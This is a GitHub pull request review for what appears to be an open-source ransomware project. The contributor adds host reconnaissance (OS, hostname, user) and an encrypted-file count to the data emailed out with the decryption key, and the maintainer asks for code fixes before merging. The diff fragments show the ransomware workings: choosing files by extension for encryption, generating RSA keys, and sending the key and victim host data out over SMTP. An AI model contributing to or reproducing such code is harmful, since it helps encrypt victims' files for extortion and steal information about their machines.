Add Function "Recon" and Added Encrypted File Count #2
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
NullArray
requested changes
Jun 9, 2020
| @@ -179,6 +195,7 @@ def note(): | |||
| if SMTP == True: | |||
| key = RSA.generate(2048) | |||
| exKey = key.exportKey('PEM') | |||
| hostinfo = recon() | |||
There was a problem hiding this comment.
Indentation error also you will need to process the dict to an actual array of strings.
| @@ -132,7 +147,8 @@ def select_files(): | |||
| for file in files: | |||
| if file.endswith(tuple(ext)): | |||
| files_to_enc.append(os.path.join(root, file)) | |||
|
|
|||
|
|
|||
| encrypted_count = str(len(files_to_enc)) ## Get a count of the encrypted files | |||
There was a problem hiding this comment.
you can't str(len(array) str sets the type to string, you are looking at an array here files_to_enc . This will throw a type error.
| @@ -118,6 +132,7 @@ def single_arg_encrypt_file(in_filename): | |||
| encrypt_file(key, in_filename) | |||
|
|
|||
| def select_files(): | |||
| global encrypted_count | |||
There was a problem hiding this comment.
Please use method arguments instead of global variables when not returning in a particular method.
| @@ -74,7 +88,7 @@ def send_Key_SMTP(): | |||
| FROM = USER | |||
| TO = ["[email protected]"] | |||
| SUBJECT = "Ransomware data: "+str(ts) | |||
| MESSAGE = """\Client ID: %s Decryption Key: %s """ % (ID, exKey) | |||
| MESSAGE = """\Client ID: %s Decryption Key: %s Host info: %s Number of encrypted files: %s""" % (ID, exKey, str(hostinfo), encrypted_count) | |||
|
Thank you for your contribution. Let's first get some of these issues resolved. After which i will consider the merger alright? |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
I added a function to do some basic information gathering on the host. It gets os name, hostname, user the ransomware was run as, etc. Also added a counter for the encrypted files. The information gathered by these two new things is sent with the decryption key via SMTP.